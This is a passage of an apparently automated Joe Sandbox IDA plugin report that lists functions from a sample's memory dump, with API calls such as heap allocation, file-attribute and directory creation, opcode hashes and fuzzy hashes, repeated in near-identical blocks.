Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction ID: 34c7193a5b50bb33ce0ba2a09d23f7b106f418ab12413814a78bbf0ce5505d58
Opcode Fuzzy Hash: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction Fuzzy Hash: 62E17F70A00249DFCF10DFA4C988AAEBBB4AF58314F2445AEE495F72D1CB389E45CB55

Function 0040EA0B Relevance: 1.8, APIs: 1, Instructions: 255COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040EA10

Part of subcall function 0040FA43: __EH_prolog.LIBCMT ref: 0040FA48

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d5330e640343d25a8eedcdb33eba9a98cecc4117f45ccf2878744254283c26ce
Instruction ID: 11288496f406677f7bdfcb919023cacd5b8123072d96ac47e6bfd322b071945c
Opcode Fuzzy Hash: d5330e640343d25a8eedcdb33eba9a98cecc4117f45ccf2878744254283c26ce
Instruction Fuzzy Hash: 38C14770910269DFDB10DFA5C884BDDBBB4BF14308F1080AEE915B72C2CB786A49CB65

Function 0040F648 Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1bd80e4fd0229361987f9fd3b275e1f8f365478e336be0a9cb425272782c87b8
Instruction ID: 8e2da863e0ec0aed1c7df7ef9f788bacddda9dad52c8f94b50dff24b72cd6dff
Opcode Fuzzy Hash: 1bd80e4fd0229361987f9fd3b275e1f8f365478e336be0a9cb425272782c87b8
Instruction Fuzzy Hash: A7814A71E006059BCB24EBA9C481ADEFBB0BF48304F14453EE445B3791DB38A949CB99

Function 0040CFAD Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040CFB2

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction ID: 9f9062e63dd4364452e2da1ca70528b8602d2a0ea6fe4ab8d483929f8703c9bd
Opcode Fuzzy Hash: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction Fuzzy Hash: 69518C31C04145DBCB15DFA8C884EAA7B71AF45308F1880BBE4157F2D2DA399A4EDB5D

Function 0040C783 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C788

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction ID: af1ffdf326ee6b9e8f9f4efb185a7a75328b0af80e7613720a9e9424578e33b6
Opcode Fuzzy Hash: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction Fuzzy Hash: A9416D71A00646CFCB24DF58C48496ABBF1FF48314B2486AED096AB392C371ED46CF94

Function 0040D1AB Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D1B0

Part of subcall function 0040F8C3: __EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040D2CF: __EH_prolog.LIBCMT ref: 0040D2D4

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction ID: 9d10d91046bd1a4dd32f0e664b06ea8990f5f8cc09720d5c411fd584516079ca
Opcode Fuzzy Hash: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction Fuzzy Hash: 83313031901254DBCB11EFA4C6487EDBBB5AF15304F1440AEE8057B382DB78DE49DBA6

Function 00404C4A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404C4F

Part of subcall function 00405468: __EH_prolog.LIBCMT ref: 0040546D

Part of subcall function 00404D6C: __EH_prolog.LIBCMT ref: 00404D71

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction ID: 9114e62b92f145f299bca9ec68259fa3d4e050d8b6bab90f4208dc7235d8fbe8
Opcode Fuzzy Hash: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction Fuzzy Hash: 1A31AF71901209AADF05FFE1E842AEEBF75AF50318F10402FE441332D2CE795A4ADE59

Function 00413EA3 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00413F8A

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction ID: 7c2cfac85a053aeac9454e1c2b35b253285297f11283e44f43d764ba5cf7311f
Opcode Fuzzy Hash: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction Fuzzy Hash: 1A217431E44605EBDB10AFA9DC42BDAB7B4EB01765F10421BF411EB2D0C778AAC28A58

Function 00413F9F Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,00000000,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074), ref: 00414073

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction ID: 47133188c5d3e4a4a91398ef735a592283a7fe3b34e77d79aa204ad2d485eaa9
Opcode Fuzzy Hash: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction Fuzzy Hash: 8321C572901609EADB20ABA6DC46BDE7B78EF48764F14021BF511B61C0D77C89C18AAD

Function 0040A011 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040A016

Part of subcall function 00409C49: __EH_prolog.LIBCMT ref: 00409C4E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction ID: 1dffea12e82b47f2a36155f0264cd4dada82ecc0bfe076f3ab6191fd12039e28
Opcode Fuzzy Hash: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction Fuzzy Hash: 4C118FB0A01254DADB09EBAAC5153EDFBA69FA1318F14419FA542732D2CBF81B048666

Function 004092E9 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00402634: __EH_prolog.LIBCMT ref: 00402639

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID:
API String ID: 2062786585-0
Opcode ID: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction ID: f7fbb3e9a8787d76bf0f9f15101cef5fd9d7ebfa1ebb25f778e30044bb5e9d70
Opcode Fuzzy Hash: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction Fuzzy Hash: 7B01D6766406049ACB10EF25C451ADEBBB1FF95318F00852FE896632E1CB785649CF54

Function 00404D6C Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404D71

Part of subcall function 00405417: __EH_prolog.LIBCMT ref: 0040541C

Part of subcall function 00404C4A: __EH_prolog.LIBCMT ref: 00404C4F

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction ID: f66e6ca9409e8e8da17af4a7d05db337a423f76100d3163e29410ef6f876c1fe
Opcode Fuzzy Hash: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction Fuzzy Hash: 4901A2B25101049ACB09EF90C852BED7B70EF94308F00412FE505776D2DB395A99CA48

Function 004027A6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004027AB

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction ID: 116dfd3529ede02fc162d870fedee277598c738aed7d6567ac0ffa60a71ea666
Opcode Fuzzy Hash: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction Fuzzy Hash: BCF04F719005069BDB15EB9AC892AEFBBB5FF80308F00403FE142775E2CA787985DB84

Function 0040348A Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040348F

Part of subcall function 0040341C: __EH_prolog.LIBCMT ref: 00403421

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 992754cf2511ef34f08bb84c5a216161d24f870ecf452e3c6c272b3c39413d44
Instruction ID: 0f3c3ef6bb78ddd4e58274a6c6a00c76ada5df03c33c012153acc60b0d36d619
Opcode Fuzzy Hash: 992754cf2511ef34f08bb84c5a216161d24f870ecf452e3c6c272b3c39413d44
Instruction Fuzzy Hash: 4EF090315107009BDB15EF91C80569ABFB8EF08318F04056FE446A76D1CB79EA40CA04

Function 004048B7 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 004048F1

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog
String ID:
API String ID: 3885834519-0
Opcode ID: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction ID: d8abee0b5bf8aaacd3c7805e8248c04f8c14d25ec22198af343fb12e16f398c4
Opcode Fuzzy Hash: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction Fuzzy Hash: 76E02B66F002502BC7103BA5AC065DB3B9D9B81314B20C43BA602A3291E9388E44A258

Function 0040499C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,00000000), ref: 004049D0

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040498D: CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CreateDirectory$ApisFileH_prolog
String ID:
API String ID: 1021588753-0
Opcode ID: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction ID: 2f64d7a75cdf7ff6db5ed191fdbb19fa086d8aebc57dacf92a4c812467fb8a6f
Opcode Fuzzy Hash: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction Fuzzy Hash: 18E0DFA0B002002BCB147B79AC0679E376D4B80218F10867EA652671E1EA7999449608

Function 004050AB Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetTempFileNameA.KERNELBASE(?,?,00000000,00000003,?,?,00000000,004050FF,?,?,?,00405160,?,?,?,00000003), ref: 004050CE

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction ID: d5c13e583cf4c34c7a3a11816bb62f42e40da82da4d3cfe63a6d47b8b5213b5b
Opcode Fuzzy Hash: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction Fuzzy Hash: 91E086723016106BD71056699C45A4BA7DEDFD8752F15843FB545E3381D6B48C004A78

Function 00405D59 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00405D71

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: AllocExceptionRaiseString
String ID:
API String ID: 1415472724-0
